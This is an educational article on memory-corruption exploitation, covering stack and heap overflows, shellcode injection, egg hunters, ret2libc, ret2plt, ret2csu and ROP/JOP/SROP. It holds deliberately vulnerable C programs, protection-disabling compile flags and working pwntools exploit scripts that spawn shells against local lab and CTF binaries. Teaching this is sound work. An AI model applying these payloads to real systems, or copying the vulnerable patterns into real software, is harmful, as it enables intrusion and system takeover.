Memory vulnerabilities
To understand memory-related vulnerabilities, you need to know a little bit about the memory itself.
What is random access memory (RAM) ?
The RAM is just a big table of bytes, and each byte has its own address :
In 32-bit an address is 4 bytes long, and in 64-bit it's 8 bytes.
How data are stored in RAM
In x86/x86-64 architecture, data that needs more than 8 bits to be stored is stored in little-endian format: the byte of the lowest power is stored in the lowest address :
How do programs work with RAM
When the program runs, it thinks it has all the RAM to itself, from address 0 to the maximum. This is false. The kernel and the MMU (Memory Management Unit, in the CPU) give it a private virtual address space.
That's why two different programs can store data at the address 0x0002 ; this is not the same physical address.
The MMU distributes memory by page (usually 4KB), and a program may require multiple pages. Each page is allocated a combination of R (read), W (write), and X (execute) permissions. This is a crucial security point, as it is both useless and dangerous for certain sections to be executed or overwritten.
The code (in the .text section) is typically readable and executable, but you can't overwrite it.
Conversely, the stack and heap (sections for the data used by the program) are readable and writable but not executable, to prevent the user from executing controlled data in this section. This is the point of the "NX bit" protection, which stands for "No-eXecute" (also called DEP "Data Execution Prevention" on Windows). In the absence of this protection, the consequences can be catastrophic, as we will see.
When a program starts, it organizes its memory into sections :
// Generated by Opus 4.8
HIGH ADDRESSES 0x7fff...
________________________
STACK (RW) : Variable used within functions, return value, arguments passed to the function
Grows downwards ↓
________________________
Free space where the stack can grow
________________________
Shared libs (libc, glibc) (RX / RW)
________________________
HEAP (RW) : dynamically allocated data (malloc/free)
Grows upwards ↑
________________________
.bss (RW) uninitialized globals ("int y;")
________________________
.data (RW) globals ("int x = 6;")
________________________
.rodata (R) constants, strings
________________________
.text (RX) the program instructions (code)
________________________
LOW ADDRESSES 0x000000
To create this organization, the loader needs to understand how to put the information in memory from the file.
How is the program loaded into memory?
This is the point of ELF (Executable and Linkable Format for Linux binary), PE (Portable Executable for windows) and Mach-O (for MacOs).
ELF :
| ELF header : architecture (32/64 bits ?) + entry point + where the two tables below are
| Program Header Table : describes segments (used by the loader, at runtime)
| .text, .data, .rodata : content of the program (data + instructions)
| Section Header Table : describes sections (used by the linker, at compile/link time)
Program Header Table VS Section Header Table : they describe the same content, seen in two different ways.
-
Segments are groups of sections that share the same permissions, packed together so the loader can map them fast. The Program Header Table is the map of them. When you run the binary, the loader reads only this table and does : "take this chunk of file, put it at this virtual address, with the related permissions".
-
Sections are the fine-grained pieces : .text, .data, .bss... The compiler and the linker work with sections. The Section Header Table is the map of them. It is entirely optional and mainly used for debugging; it can be removed to save a few bytes of space (or make reverse engineering more difficult).
PE :
| DOS header (legacy)
| PE header
| Section table : list the sections and their location in the file
| .text : code
| .data
| .rdata : constants
| .idata : table of pointers to the DLL functions
| .reloc
About .idata : on Windows it is called the IAT (Import Address Table). It does the same job as the GOT/PLT on Linux.
Mach-O :
| Mach-O header : architecture (32/64 bits ?) + file type (executable, library...) + number of load commands
| Load Commands : describe how to build the process (it's like the program header table for linux)
| TEXT : code + read-only data
| DATA : writable data
| LINKEDIT : raw data used by the linker
How does the program call the printf function ? (GOT/PLT)
When your program calls printf, the printf code is in libc, a shared library loaded separately, at an address unknown at compile time (especially with ASLR). How does the binary know where to jump ?
It can use GOT or PLT.
GOT : Global Offset Table (RW or R), (section .got.plt, just below .bss in memory map). This table is just an array of pointers. Initially, these elements are empty/point to the resolver. Once the function is found, its actual address is written there.
The second call is therefore faster.
PLT : Procedure Linkage Table (RW), (section .plt). This is where the code jumps to be redirected to the function contained in the GOT table.
call printf --> call printf@plt --> jmp [printf@got] -> libc print function
Some attacks, exploit the fact that GOT is writable. (if an attacker replace the address stored in printf@got, they can hook the program flow ; cf Format string). To avoid this problem, we can use RELRO (stands for "RELocation Read-Only"). With Full RELRO, the loader resolves the entire GOT table before launching the program (to retrieve all addresses) and then places this section in read-only. The GOT overwrite attack becomes impossible (the attacker must target something else : return address, function pointers, etc.).
Note : there are two levels. Partial RELRO (only some parts read-only, GOT still writable) and Full RELRO (whole GOT read-only). Only Full RELRO blocks the GOT overwrite.
How does the stack work ?
Some important registers for the stack :
RSP (Stack Pointer) : points to the top of the stack (the lowest address used).
RBP (Base Pointer) : points towards the base of the current frame (serves as a stable reference point for accessing local variables and arguments).
RIP (Instruction Pointer) : The address of the next instruction to execute. It's call, ret, jmp which modify it.
Each time a function is called, it gets its own little block on the stack : its "frame". The frame holds the function's local variables, its saved old RBP, and the return address.
Schema of one frame:
---------------------
arguments (a, b)
---------------------
RIP (return addr) <-- accessed as [rbp+8]
---------------------
saved old RBP <-- RBP
---------------------
int x <-- accessed as [rbp-4]
---------------------
char buf[8] <-- accessed as [rbp-12]
---------------------
Call and ret flow
call pushes the return address (0xC) onto the stack and jumps into the function; ret pops that address back into RIP.
RIP, RSP, RBP are registers, they aren't in RAM, but their values contain RAM addresses.
On x86 arguments are on the stack. But on x64 they are usually in registers (rdi, rsi, rdx, rcx, r8, r9) and if function have more than 6 arguments they are placed in the stack. The return value for its part is placed in rax.
Note that this is a calling convention used so that functions can understand each other and work together. On Linux it's the System V AMD64 ABI (Application Binary Interface) which defines these rules and programming languages like C must respect it.
Buffer overflow
Stack overflow
The stack is the memory zone used by a program to manage everything that is "temporary" during the execution of a function. It works under the last-in/first-out principle.
Example of a stack and the program that generated it :
high addresses
-------------
rip : contains the address of the next instruction to execute after the function (return address)
rbp : points to the "start" of the function frame (Base Pointer)
-------------
var_1 : 14 is stored on 4 bytes
var_2 : 10 is stored on 4 bytes
-------------
low addresses
Memory overflow problems arise when a program reserves a memory space for data, but does not correctly limit the size of the data written to it. So the value will overwrite the other content in the stack.
This problem can create several behaviors : - Change of the value of an internal variable - Call of a function that was not supposed to be called in the code by writing over rip - Injection of code and execution of it ; by storing a code in a big enough input and writing its address on rip
Change of the value of an internal variable :
Example of vulnerable code :
#include <stdio.h>
int main(){
int is_admin = 0;
char buf[10];
fgets(buf,20,stdin);
printf("is_admin : %d\n", is_admin);
printf("buf : %p\n", buf);
}
Here we reserved 10 times the size of a character (1 byte per char, so 10 bytes) of memory space reserved for "buf", the problem is that fgets(buf, 10, stdin) allows the user to write up to 20 bytes on this space. So this is a buffer overflow.
Indeed if the user enters more than 10 characters, they will overwrite the other variables and will be able to modify their content.
Compilation without protection :
gcc -fno-stack-protector \
-z execstack \
-no-pie \
-Wl,-z,norelro \
-U_FORTIFY_SOURCE \
-D_FORTIFY_SOURCE=0 \
prog.c -o prog
Respect of the buff size : 8*A + null bit (\00) = 9
If we exceed this limit :
Exploitation :
Before reaching is_admin we will have to fill buf :
b'A'*10
The variable is_admin is an integer coded on 4 bytes, so we will set its value to 0001 (1 in hexadecimal coded on 4 bytes). We will have to send this value in the reverse order because on x86 and x86-64 architectures, integers are stored in little-endian : the low order byte is placed at the lowest memory address.
b'\x01\x00\x00\x00'
Final payload :
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"\x01\x00\x00\x00")' | ./prog
is_admin : 1
buf : 0x7ffd931fe662
The order of the declarations in the C code absolutely does not guarantee the order of the variables in the stack. It happens that in our case even if we declare buf before is_admin, the exploit will still work, because compilers tend to place the biggest objects (arrays, structures) at offsets further from rbp, and the scalars (int, char, etc.) closer. In the case where is_admin is after buf in the stack the exploitation is no longer possible.
In this demonstration it was a data-only attacks (we only modify data in the program), we will see later some control-flow hijacking attack.
Call another function in the code :
#include <stdio.h>
void call_me_to_win(){
printf("You win !");
}
int main(){
char buf[10];
fgets(buf,100,stdin);
printf("buf : %p\n", buf);
}
The array buf reserved 10 bytes in memory, we can write 100 of them. Let's see what happens if we write a string of more than 10 bytes :
$ pwndbg prog
pwndbg> disass main # we get the assembly code of main to know where to place our breakpoint
Dump of assembler code for function main:
0x0000000000401151 <+0>: push rbp
0x0000000000401152 <+1>: mov rbp,rsp
0x0000000000401155 <+4>: sub rsp,0x10
0x0000000000401159 <+8>: mov rdx,QWORD PTR [rip+0x21e0]
0x0000000000401160 <+15>: lea rax,[rbp-0xa]
0x0000000000401164 <+19>: mov esi,0x64
0x0000000000401169 <+24>: mov rdi,rax
0x000000000040116c <+27>: call 0x401040 <fgets@plt>
0x0000000000401171 <+32>: lea rax,[rbp-0xa]
0x0000000000401175 <+36>: mov rsi,rax
0x0000000000401178 <+39>: lea rax,[rip+0xe8f]
0x000000000040117f <+46>: mov rdi,rax
0x0000000000401182 <+49>: mov eax,0x0
0x0000000000401187 <+54>: call 0x401030 <printf@plt>
0x000000000040118c <+59>: mov eax,0x0
0x0000000000401191 <+64>: leave
0x0000000000401192 <+65>: ret
End of assembler dump.
pwndbg> b *0x0000000000401171 # address of the lea instruction just after the fgets
pwndbg> run
Starting program: /workspace/prog
AAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW
[ STACK ]────────────────── # state of the stack
00:0000│ rsp rax-6 0x7ffd793d5dc0 ◂— 0x4141000000000000
01:0008│-008 0x7ffd793d5dc8 ◂— 'AAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
02:0010│ rbp 0x7ffd793d5dd0 ◂— 'bcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
03:0018│+008 0x7ffd793d5dd8 ◂— 'jklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
04:0020│+010 0x7ffd793d5de0 ◂— 'rstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
05:0028│+018 0x7ffd793d5de8 ◂— 'zBCDEFGHIJKLMNOPQRSTUVW\n'
06:0030│+020 0x7ffd793d5df0 ◂— 'IJKLMNOPQRSTUVW\n'
07:0038│+028 0x7ffd793d5df8 ◂— 'QRSTUVW\n'
RIP is placed at RBP+008 and we override it with the string "jklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW", so we can deduce our payload :
With objdump we get the addresses of call_me_to_win :
0000000000401136 <call_me_to_win>:
401136: 55 push %rbp
401137: 48 89 e5 mov %rsp,%rbp
40113a: 48 8d 05 c3 0e 00 00 lea 0xec3(%rip),%rax
401141: 48 89 c7 mov %rax,%rdi
401144: b8 00 00 00 00 mov $0x0,%eax
401149: e8 e2 fe ff ff call 401030 <printf@plt>
40114e: 90 nop
40114f: 5d pop %rbp
401150: c3 ret
We will take the address of the lea instruction "0x40113a" to avoid alignment problems that we will talk about right after :
from pwn import *
payload = b"AAAAAAAAAAbcdefghi" + p64(0x40113a)
open("payload","wb").write(payload)
The structure of the program is a bit broken but we won !
./prog < payload
buf : 0x7ffe3add1cf6
You win !
buf : 0x7ffe3add1d0e
[1] 3211 segmentation fault (core dumped) ./prog < payload_4
Alignment problem
The reason why we have a segfault type error is because we misaligned the stack. The linux ABI convention requires that RSP + 8 be a multiple of 16 when calling the call instruction. The reason for this necessity is that some functions like printf use instructions like movaps ("Move Aligned Packed Single-precision floats" : an instruction that transfers 128 bits at once between an XMM register and memory).
One of the ways to avoid this problem is therefore like in the previous demonstration to jump directly to the instruction that interests us (and take the risk that the program crashes and does not do everything we want after this crash). Or to realign by reusing a ret present in the program which isolated will simply add +8 to the position of RSP and so make sure that it is a multiple of 16.
from pwn import *
ret_gadget = 0x40101a # adresse of a ret found in the binary
target = 0x401136 # the address of call me to win
payload = b"AAAAAAAAAAbcdefghi"
payload += p64(ret_gadget) # aligns the stack: consumes 8 bytes
payload += p64(target) # then jumps to the function
Inject a shellcode and execute it
If there is no interesting function to call in the program, and the stack is executable (cf : protection). We can inject our own code and make rip point to it to take control of the program. The input also needs to be big enough.
Example with challenge 4 of PWN101 on try hack me :
$ python3
>>> from pwn import *
>>> context.binary = binary = "pwn104"
[*] '/workspace/pwn104'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled on new kernels
PIE: No PIE (0x400000)
Stack: Executable <--------------------------- the stack is executable
RWX: Has RWX segments
Stripped: Noid 15466
[*] Stopped process '/workspace/pwn104' (pid 15466)
We use our very long string to check from when we manage to write on rip, and we observe that it is after 88 bytes.
The address of the buffer changes at each execution of the program, but the creator of the CTF being nice they display it at the launch of the program :
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 104
I think I have some super powers 💪
especially executable powers 😎💥
Can we go for a fight? 😏💪
I'm waiting for you at 0x7ffd74ca2750
We can get it like this :
For the shellcode (the code that we will inject in the program) we will use the one provided by the python lib pwntools. We can check its content like this :
from pwn import *
ShellCode = asm(shellcraft.sh())
payload = ShellCode
open("shellcode", "wb").write(payload)
; build the /bin///sh string on the stack
00000000 6A68 push byte +0x68 ; 'h'
00000002 682F2F2F73 push qword 0x732f2f2f ; '///s
00000007 682F62696E push qword 0x6e69622f ; "/bin"
; esp is the stack pointer so ebx = "/bin///sh"
0000000C 89E3 mov ebx,esp
; 0x01010101 XOR 0x1016972 = 6873 = "sh"
0000000E 6801010101 push qword 0x1010101
00000013 81342472690101 xor dword [rsp],0x1016972
; "sh" is sent to the top of the stack
; NULL is placed at the top of the stack
0000001A 31C9 xor ecx,ecx
0000001C 51 push ecx
; State of the stack :
; -----------
; NULL
; sh
; -----------
0000001D 6A04 push byte +0x4 ; 4 is placed on top of the stack
0000001F 59 pop ecx ; ecx = 4
; why don't we directly do mov ecx, 0x4
; because "mov ecx, 0x4" makes more bytes and we try to produce the most optimized code
00000020 01E1 add ecx,esp ; ; ecx = esp + 4, ECX now points to "sh"
00000022 51 push ecx ; the address of "sh" is placed on top of the stack
00000023 89E1 mov ecx,esp ; ecx points to argv = {"sh", NULL}
00000025 31D2 xor edx,edx ; edx = 0
00000027 6A0B push byte +0xb ; 11 placed on top of the stack
00000029 58 pop eax ; eax = 11
; trigger of the syscall execve("/bin/sh", argv, NULL)
; argv = {"sh", NULL}
0000002A CD80 int 0x80
Final script :
from pwn import *
context.binary = binary = "pwn104"
ShellCode = asm(shellcraft.sh())
p = process()
p.recvuntil("I'm waiting")
addr = int(p.recvline().strip().decode().split(" ")[-1], 16)
payload = ShellCode
payload += b'A' * (88 - len(payload))
payload += p64(addr)
p.sendline(payload)
p.interactive()
# python3 pwn104_solve.py
[*] '/workspace/pwn104'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled on new kernels
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[+] Starting local process '/workspace/pwn104': pid 22334
/workspace/404.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("I'm waiting")
[*] Switching to interactive mode
$ echo "We get a shell !"
In our example the shellcode is going from the getf() function to the read(), this is the easy case. Because if the shellcode is transferred and passes through several functions, "forbidden" characters within it can break it. For example "\x00" "/r" or other end of lines/files symbols.
The problematic parts of the payload can be encoded and placed within functions that will decrypt them :
You can do this very simply with pwntools :
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
shellcode_with_forbiden_chars_encoded = encoders.encode(shellcode, avoid=b"\x00")
This precise case is simpler because we know the exact address of the location of our payload (there is no ASLR). In the opposite case or if other complexity is added it can be necessary to use two techniques to manage to load our shellcode.
The first one consists of placing at the beginning of our shellcode a big quantity of "nop" instructions, this way even if we do not know the exact address of our payload, if we land on a nop it's won :
other_instruction
other_instruction
nop
nop <------- we land on this address
nop <--- which sends to this one
nop <-- etc...
nop
payload <--- until the payload
To do this via pwntools :
from pwn import *
shellcode = asm(shellcraft.sh())
nop = asm('nop') * 40 # nop instructions
payload = nop
payload += shellcode
This technique still needs to know at least in which zone the payload is.
If we are in a case where we know where a location we control is, that this one is too small, but that we have another bigger location whose address we do not know. Then we can place a "hunter" that will look for the "egg" that precedes the shellcode.
Memory location controlled and whose address we know BUT too small for the payload
We place there a code called "hunter" that will look for the start of the shellcode
Memory location controlled whose address we DO NOT KNOW BUT big enough for the payload
We place an egg (typically "helloiamhere") at the start of the shellcode
0x4000 : hunter shellcode <----- we place 0x4000 in RIP
0x4001
0x4002
0x4003
0x400..
0x4085 "helloiamhere" <------ the hunter goes through the memory and finds the address 0x4085 that it will place on RIP
0x4001 rest of the shellcode
from pwn import *
context.arch = 'amd64'
egg = b'hello'
# Big buffer with unknown address
shellcode = asm(shellcraft.sh())
egg_payload = egg * 2 + shellcode # we place it twice before the shellcode to avoid the hunter landing on its own copy in memory
# Small buffer with known address
hunter = asm(shellcraft.amd64.linux.egghunter(egg))
We inject the egg then the hunter and we place the address of the hunter on RIP.
But what can we do in the case where the stack is not executable ?
Reuse existing functions
In the case where the stack is definitely not executable. We will try to use what exists in the rest of the program.
ret2libc
In the case where no other protection than NX exists we will use ret2libc. On x86-32 we overwrite the return address (ESP in x86) with system's and prepare its "/bin/sh" argument. But on x86-64 you first go through a pop rdi ; ret gadget to put "/bin/sh" into rdi. Because on x64 the calling convention wants the arguments to be passed via the registers. The system() function expects to receive the command to execute via rdi.
Example in x86-64 :
// Generated by Opus 4.8
#include <stdio.h>
__attribute__((naked))
void gadget(void)
{
__asm__(
"pop %rdi\n" // this is just to create a rop gadget
"ret\n" // without generating a bunch of code that create this assembly case
);
}
void vuln(void)
{
char buffer[64];
puts("Input:");
gets(buffer);
}
int main(void)
{
setbuf(stdout, NULL);
vuln();
return 0;
}
# We are looking for system address to put bin/bash in it and get a shell
pwndbg> info address system
Symbol "system" is at 0x730ab380a490 in a file compiled without debugging.
# We are looking for the string "/bin/sh" that is likely present in the libc
pwndbg> search -t string "/bin/sh"
Searching for string: b'/bin/sh\x00'
libc.so.6 0x730ab3955031 0x68732f6e69622f /* '/bin/sh' */
from pwn import *
context.binary = "./ret2libc_64bits"
elf = context.binary
rop = ROP(elf)
POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0]
SYSTEM = 0x730ab380a490
BINSH = 0x730ab3955031
p = process()
OFFSET = 72 # 64 + 8 bytes to reach RSP (the data after the offset will be directly on RSP)
payload = b"A" * OFFSET
payload += p64(POP_RDI)
payload += p64(BINSH)
payload += p64(SYSTEM)
p.sendline(payload)
p.interactive()
State of the stack after the exploit :
OFFSET
----------
address of <----- 0 : RSP : we overwrote RSP so that it continues on our flow
"pop rdi ; ret" instruction <----- 1 : we pop the value at the next address on the stack (bin/sh) into rdi
----------
"/bin/sh" <----- 2 : does not exist anymore at this stage in the stack it was placed in rdi
----------
system <----- 3 : system(rdi) = system("/bin/sh")
We got a shell !
ret2plt
As soon as ASLR is active (in 99% of modern systems), the base of the libc changes at each execution, so these addresses are unknown in advance and the previous exploit does not hold anymore.
On the other hand, if the binary is compiled without PIE, everything that belongs to it (.text, .plt, .got.plt) stays at a fixed address from one execution to another. This is where ret2plt comes in : we reuse the entries of the PLT (cf : How does the program call the printf function ? (GOT/PLT)) ; whose address is fixed, to call a function already imported.
If the binary does not import system, we will try to leak a libc address to determine during the execution of the program the address of system to get a shell.
The exploitation is done in two parts : We call puts@plt (which allows to display text) by passing it as argument the address puts@got. As puts@got contains the address resolved at execution of puts in the libc, and the organization of the libc is static, we can get the address of system.
We do not know the real address of puts before the execution of the binary. On the other hand, the PLT and GOT sections of the binary have fixed addresses. By calling puts@plt with the address of puts@got as argument (placed in RDI on x86-64), puts displays the content of this GOT entry, which corresponds to the real address of puts in the libc. This address leak then allows to compute the base of the libc and to prepare the rest of the exploitation.
For the leak to be useful, the puts call must return into something we still control (otherwise the program displays the address then stops or continues its flow on a part we do not control).
This time we compile without PIE but we leave ASLR active :
Contrary to the previous ret2libc, we no longer hardcode any libc address : we get them at execution.
from pwn import *
context.binary = elf = ELF("./ret2plt")
libc = elf.libc # We specify the libc linked to the binary because the position of the functions present in it depends on it
rop = ROP(elf) # Gets all the ROP gadgets of the binary
POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0] # pop rdi, ret like for ret2libc
RET = rop.find_gadget(["ret"])[0] # this is a magic ret that will be useful to us later
OFFSET = 72
p = process()
# leak of the libc address of puts via puts@plt(puts@got)
payload = b"A" * OFFSET
payload += p64(POP_RDI)
payload += p64(elf.got["puts"]) # rdi = address of the GOT entry of puts
payload += p64(elf.plt["puts"]) # puts(puts@got)
payload += p64(elf.symbols["vuln"]) # we replay vuln for step 2
p.sendlineafter(b"Input:", payload)
data = p.recv(timeout=1)
print(repr(data))
leak = u64(p.recvline().strip().ljust(8, b"\x00")) # we parse the response to get the addresses
libc.address = leak - libc.symbols["puts"] # and we determine the libc addresses from this point
log.success(f"puts libc @ {hex(leak)}")
log.success(f"libc base @ {hex(libc.address)}")
# classic ret2libc, now that the libc base is known
payload = b"A" * OFFSET
payload += p64(RET) # system triggers a movaps that requires 16-byte aligned rsp
payload += p64(POP_RDI)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols["system"])
p.sendlineafter(b"Input:", payload)
p.interactive()
State of the stack during step 1 :
OFFSET
----------
address of <----- 0 : RSP, we continue on our flow
"pop rdi ; ret" instruction <----- 0 bis : we pop the next value into rdi
----------
puts@got <----- 1 : rdi = puts@got address in memory
----------
puts@plt <----- 2 : puts(rdi)
----------
vuln <----- 3 : we relaunch vuln for step 2
[Jul 24, 2026 - 10:04:56 (CEST)] exegol-demo /workspace # python3 exploit_ret2plt.py
[*] '/workspace/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 6 cached gadgets for '/workspace/ret2plt'
[+] Starting local process '/workspace/ret2plt': pid 1554
b'\n'
[+] puts libc @ 0x75d734d0a980
[+] libc base @ 0x75d734c93000
[*] Switching to interactive mode
$ echo "hello"
hello
ret2csu
What to do if the program does not contain the gadgets because too small ? This is an issue that I had for my ret2libc demonstration and I had to do a kind of tricks for the demo. But there is still a way to build the gadgets from the __libc_csu_init function automatically generated by the compiler, its role is to initialize the execution environment of the C library just before the main() function.
It contains the following pieces of code :
And :
mov rdx, r15
mov rsi, r14
mov edi, r13 ; here r13 is placed in edi the 32bits part of rdi
call QWORD PTR [r12+rbx*8] ; call r12
[...]
add rbx, 1
[...]
cmp rbp, rbx
And what if i tell you we can create "pop rdi, ret" behavior with this bunch of pieces ?
We know the address of __libc_csu_init in advance because it is part of the .text section which does not move without PIE.
The stack that we aim for (if we just want to do a ret2csu then ret2libc without ret2plt) :
------
Gadget 1 <--- RIP
0 (popped into rbx)
1 (popped into rbp) we must put 1 because in the rest of gadget 2 there is cmp rbp, rbx where rbx=1 and we need to pass to get out of this loop.
[ptr_system] (popped into r12) Gadget two as a reminder does "call QWORD PTR [r12 + rbx*8]" so it will call to the address present at r12+rbx*8 and rbx = 0 so it's perfect.
["/bin/sh"] (popped into r13, will be copied into edi by Gadget 2)
0 (popped into r14)
0 (popped into r15)
Gadget 2 (reached by the ret of Gadget 1)
------
Reuse instruction fragments ROP, JOP and SROP
ROP (return oriented programming)
As a reminder ; the "ret" instruction pops a value from the stack and jumps on it.
main:
0x1 call a; (0x2 is placed on the stack)
0x2 another_instruction;
a:
0x45 do_something;
0x46 ret; (0x2 is popped and we go to this address)
A gadget in return-oriented programming (ROP) is a short sequence of instructions that ends with ret :
For example :
If we fill the stack with a list of gadget addresses, each ret automatically links to the next. The stack is no longer data but a list of instructions to be executed.
It turns out that with all the instructions, in most programs ROP is turing complete, meaning that you can write any program (even if the ultimate goal is often to call /bin/sh).
For example if we want to do instruction 1, 2, 3, because combined they form a useful sequence to launch our exploit and are all followed by a ret.
We place in the stack :
0x0089 <--- and finnaly the instruction 1
0x0101 <--- then the instruction 2
0x0041 <--- first the instruction 3
The instruction 1 will be the first to be pop out and the associated ret will pop instruction 2 etc...
AS A REMINDER (because at this stage of writing the article I had a bit forgotten it) :
RIP = where the processor is currently executing
RSP = top of the stack
RBP = base of the current frame
During a ret the CPU does :
So to hook the flow of the program we try to write on RSP (we cannot write on RIP it is the current address).
The problem with ROP is that the space needed for our chained gadget list can be huge and our controllable space very small. In the same way we can control a big memory zone but very far (even outside) from the future path of RSP.
The "stack pivot" technique consists therefore of placing RSP on the wanted address via a gadget that modifies it.
Let's imagine :
------------ <-------------- RSP
controllable memory zone A (there is room for 3 gadgets)
------------
------------
controllable memory zone B (there is room for 300 gadgets)
------------
We will place in the memory zone A a gadget to place RSP on the memory zone B containing our ROP exploit.
JOP (jump oriented programming)
The second problem this time impossible to solve with ROP is when the stack is watched via a shadow stack, via CFI or any other mechanism that checks for example that each ret returns well to the origin of a call (cf : protections).
In this case we will use JOP (jump-oriented programming), it's exactly the same mechanism as ROP but with jmp blocks instead of the ret to move from one instruction to another. This specificity adds a lot of complexity because we have to find a way to control the movements while doing the useful actions.
SROP (sigreturn-oriented programming)
Does not try to chain gadgets. "It hijacks a legitimate mechanism of the kernel in order to restore an execution context controlled by the attacker. It is particularly suited when a call to rt_sigreturn can be triggered and the classic ROP gadgets are rare."
To understand this chapter you must already know how Linux manages the "signals". By the way SROP does not work on Windows.
A signal is sent to a process to tell it that a particular event happened (division by zero (SIGFPE), invalid memory access (SIGSEGV), keyboard interruption (SIGINT). When receiving this signal the kernel interrupts the process and starts the processing "signal handler". Once done the program resumes at the place where it was stopped by restoring the execution context via the syscall "rt_sigreturn".
This execution context is the state of the registers :
It is saved in a structure sigframe or rt_sigframe stored on the stack.
If we overwrite this structure, we trigger a rt_sigreturn (syscall 15), and the kernel loads our crafted context, this allows us to avoid having to chain dozens of gadgets to modify the value of the registers to prepare a syscall execve. We just have to load this context for example :
RAX = 59 ; execve
RDI = "/bin/sh" ; path
RSI = 0 ; argv
RDX = 0 ; envp
RIP = address of a syscall gadget
For this to work so well there must be a syscall gadget in the code (which is a bit rare because the majority of C programs only call libc functions which contain syscalls but with ASLR their address is not determined).
Detection and protection
To detect a buffer overflow if we do not have the high level code of the application, and so directly in the assembly we have to look for things like this :
mov rdx, [stdin]
lea rax, [rbp-0xa] ; stdin = 10 (0xa in hexa)
mov esi, 0x32 ; size = 50 (0x32 in hexa)
mov rdi, rax
call fgets ; fgets(buf, 50, stdin)
To avoid this type of vulnerability instead of using the functions gets/strcpy/sprintf we will have to use functions that check the correct size fgets/strncpy/snprintf. We can also compile with the flags -fstack-protector-strong and -D_FORTIFY_SOURCE=2 (cf : protections chapter).
Heap overflow
Memory allocation in detail
As a reminder, the heap is used to perform dynamic memory allocation, for example through malloc :
When we do this :
The glibc library reserve a chunk that look like that (in 64 bits) :
If we store the size of the previous chunk, it's so that during the freeing of this space (with free) in the case where the previous chunk is free (specified by the flag P (PREV_INUSE)) glibc can merge them. WARNING As long as the previous chunk is used (flag P=1), glibc uses this space (8 bytes) as storage for the previous chunk. Optimization which as we will see can create bugs (cf : Off-by-one).
For very large allocations, glibc directly requests a page from the kernel. The chunk is then distributed via mmap(). The "IS_MMAPPED" flag specifies this case.
The "A" flag is used for multi-threaded programs.
When memory space is freed :
chunk-8 size of the previous chunk
chunk size + P,M,A flags
pointer fd (forward pointer)
pointer+8 bk (backward pointer)
data (old data, left as is)
glibc does not erase the content of the chunk. It is marked as available for reuse and put in a list of free chunks called "bin".
To manage this "bin" list, glibc uses the abstract data type of the linked list ( cf : your NSI courses O_o )
- fd (forward) : address of the next free chunk in the bin.
- bk (backward) : address of the previous free chunk.
The bins, what is it ?
A bin is a list of free chunks that glibc keeps at hand to recycle them. Rather than asking the system for memory again at each malloc, glibc look if he already have a free chunk of the right size in a bin. It's just a cache.
There are several bins sorted by size to find fast : (array generated by Opus 4.8)
| Bin | For which sizes | Behavior |
|---|---|---|
| tcache | small (≤ 0x408) | 1 list per size, LIFO, fast. Target no.1 in modern CTF (glibc ≥ 2.26) |
| fastbins | small (≤ 0x80) | LIFO, very fast, singly linked list |
| unsorted bin | all | « buffer » temporary before sorting → used to leak a libc address |
| small bins | medium | lists per size, doubly linked |
| large bins | big | lists sorted by size |
If by an overflow you manage to corrupt the "fd" of a free chunk, you lie to glibc about where is the next free chunk and get a arbitrary write where you want.
Overwrite data in the heap
In this example 16 bytes have been reserved for "buf", but the size of argv[1] isn't controlled which create a heap overflow situation.This vulnerability can first of all allow overwriting of data present in the heap :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
char *arg = malloc(0x20);
char *cmd = malloc(0x400);
setreuid(geteuid(), geteuid());
strcpy(cmd, "/bin/ls -l ");
gets(arg);
strcat(cmd, arg);
system(cmd);
return 0;
}
pwndbg> disass main
[...]
0x00000000004011d4 <+94>: call 0x401050 <gets@plt>
0x00000000004011d9 <+99>: mov rdx,QWORD PTR [rbp-0x18]
0x00000000004011dd <+103>: mov rax,QWORD PTR [rbp-0x20]
0x00000000004011e1 <+107>: mov rsi,rdx
0x00000000004011e4 <+110>: mov rdi,rax
[...]
pwndbg> b *0x00000000004011d9 # We place a breakpoint right after the get
Breakpoint 1 at 0x4011d9
pwndbg> run
AAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW # We enter the detection character string.
[...]
pwndbg> set max-visualize-chunk-size 0x500
Set max display size for heap chunks visualization (0 for display all) to 1280.
pwndbg> vis-heap-chunks 500
[...]
0x18931270 0x0000000000000000 0x0000000000000000 ................
0x18931280 0x0000000000000000 0x0000000000000000 ................
0x18931290 0x0000000000000000 0x0000000000000031 ........1.......
0x189312a0 0x4141414141414141 0x6766656463624141 AAAAAAAAAAbcdefg
0x189312b0 0x6f6e6d6c6b6a6968 0x7776757473727170 hijklmnopqrstuvw
0x189312c0 0x46454443427a7978 0x4e4d4c4b4a494847 xyzBCDEFGHIJKLMN
0x189312d0 0x565554535251504f 0x0000000000200057 OPQRSTUVW. .....
